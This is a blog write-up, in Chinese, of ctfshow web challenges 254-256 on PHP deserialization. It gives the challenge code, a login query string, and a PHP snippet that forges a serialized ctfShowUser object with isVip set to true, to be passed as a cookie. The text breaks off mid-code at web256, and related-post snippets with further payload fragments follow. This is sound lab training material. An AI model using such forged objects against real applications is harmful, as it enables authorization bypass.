ctfshow-web入门-反序列化(前篇)

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情

目录

web254

web255

web256

web257

web258

web259

web260

web261

web262

web263

web264

web265

web266

web267

web254

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

直接审一下代码可以知道

username=xxxxxx&password=xxxxxx

就可以flag

web255

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

首先,get传入的username和password都是xxxxx

源码里面有

$user = unserialize($_COOKIE['user'])
$user->login($username,$password)

然后就是说,我们需要让反序列化后的结果是ctfshowUser的实例化对象,有因为只有$this->isVip为true才能是flag,所以反序列化的内容

<?php
class ctfShowUser{
    public $isVip=true;
}
echo serialize(new ctfShowUser);

web256

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
   &nbs
CTFshow 反序列化wp title: CTFshow 反序列化wp date: 2020-12-02 20:03:53 categories: ctfshow link:https://yq1ng.github.io/ 说一些有的没的: payload(有效攻击负载)是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码 shellcode(可提权代码) 对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload. 阅读详情

相关推荐

CTFshow 反序列化 web257

目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight

Kradress的博客 2135

ctfshow 反序列化1

web254 主要是考察能不能看懂这个类,跟反序列化没关系 payload:/?username=xxxxxx&password=xxxxxx error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; //这里定义了属性值 public $password='xxxxxx'; public...

qq_61768489的博客 1532

别再对着手册发愁了!手把手教你读懂MIPI-DSI初始化命令(以Rockchip平台为例)

本文深入解析MIPI-DSI初始化命令在Rockchip平台的应用,帮助嵌入式工程师快速掌握LCD屏幕调试技巧。从协议基础到实战指南,详细拆解命令格式、DCS与Generic命令的区别,并提供Rockchip平台的调试全流程与高级技巧,解决常见显示问题。

weixin_42519781的博客 238

ctfshow254-278(代码审计,反序列化)

ctfshow254-278(代码审计,反序列化),ctfshow web

qq_37561898的博客 2766

反序列化1

254}else{}else{分析代码直接传入?255}else{}else{反序列化的点在cookie的user中,我们需要让$isVip=true传入?

wxy_1234_的博客 1771

五步法带你搞定反序列化难题

实例化对象,必须使得test指向evil对象,test=new evil(),同时构造test2去执行我们所要执行的命令,其实经过上面的分析其实就construct魔术方法以及后面的evil这个有用而已,其他的注释就好了。必须调用evil下面的action()_函数!学习就是把你掌握的方法不断练习达到极限!正常情况下代码怎么运行?(不用搞懂全部,看个大概就好了,不用每个地方都懂!很明显,是evil对象下面的action方法,通过test2去进行执行。必须调用evil下面的action()_函数!

csjjjd的博客 1509

ctfshow 反序列化

涉及到的题目是web254~web266

m0_62422842的博客 3270

ctfshow web入门 反序列化 254-266

ctfshow web入门 反序列化 254-278

m0_64815693的博客 2066

CTFSHOW WEB入门反序列化

最近特别懒 等开学在高强度更新其他几 不会写太细 反序列化入门文章找Y4爷爷 反序列化web254web255 web254 直接传 username=xxxxxx&password=xxxxxx web255 首先和254一样 传username和password 然后是需要cookie验证VIP身份 抓包构造 注:需要对分号进行url编码 引号好像不用 我当时瞎搞的 ...

Npceer-一位网安初学者的博客 1346

ctfshow web入门 web254——— 反序列化wp

代码审计:定义了ctfShoeUser类get传参username和password,isset()是检查变量是否被定义的函数,若变量被定义且值不是null,那么返回值是true,接着实例化对象user.....最终输出flag所以我们传入的参数只要是已经被定义的值就行?

2202_75289892的博客 2249

ctfshow——web入门254~258

结果:O:11:"ctfShowUser":3:{s:8:"username";结果:O:11:"ctfShowUser":3:{s:8:"username";然后我们怎么调用他呢,看到ctfShowUser类中的 __destruct,但是如果照他的源代码,class=new info()简单分析就是传入的username和password的值回去当作login方法的参数,然后只要让他们和类中的值一样就好了。

uwvwko的博客 1354

Ctfshow web入门 代码审计 web301-web310 详细题解 全

Ctfshow web入门 代码审计 web301-web310 详细题解 全

Jay17的博客 4886

CTFshow反序列化-web254-270

看着代码挺多 一步步看首先定位怎么拿flag主要是是这段如果username和u相等,password和p 相等执行下一句 赋值 ,然后 返回 isvip等于true我们直接让isvip 等于true ,然后输入username的时候等于 源代码里面的值其实就是个判断都还没开始上序列化。

qq_52579508的博客 2090

ctfshow反序列化 web254 - web262

ctfshow反序列化 web254 - web262

2301_78931332的博客 840

ctfshow-web入门-反序列化

先看题这道题目没什么特殊,甚至用不到反序列化,直接GET传参username和password的值与源码中一样即可完成。

2301_80470992的博客 1975

CTFSHOW 反序列化

web254 没搞懂和反序列化有啥关系,直接传username=xxxxxx&password=xxxxxx出flag web255 请求包内容如下 首先get传的username和password都是xxxxxx 因为源码里面 $user = unserialize($_COOKIE['user']); $user->login($username,$password); 就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是tr

羽的博客 1万+

CTFshow反序列化-web271-278

Laravel框架反序列化提交的入口找到一个链子成功执行查看flag。

qq_52579508的博客 1655

CTFSHOWweb入门反序列化

web254 include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this

7ruth0hn的博客 3931

CTFSHOW web入门 java反序列化(更新中)

ctfshow web入门 java反序列化

羽的博客 6775

ctfshow web入门--反序列化

这道题还是更偏向于代码审计,而且一开始就给出了username和password。

2402_87078084的博客 434
上一篇: ctfshow-web
下一篇: BUUCTF-WEB
parkour-
博客等级 码龄6年 403粉丝 16原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值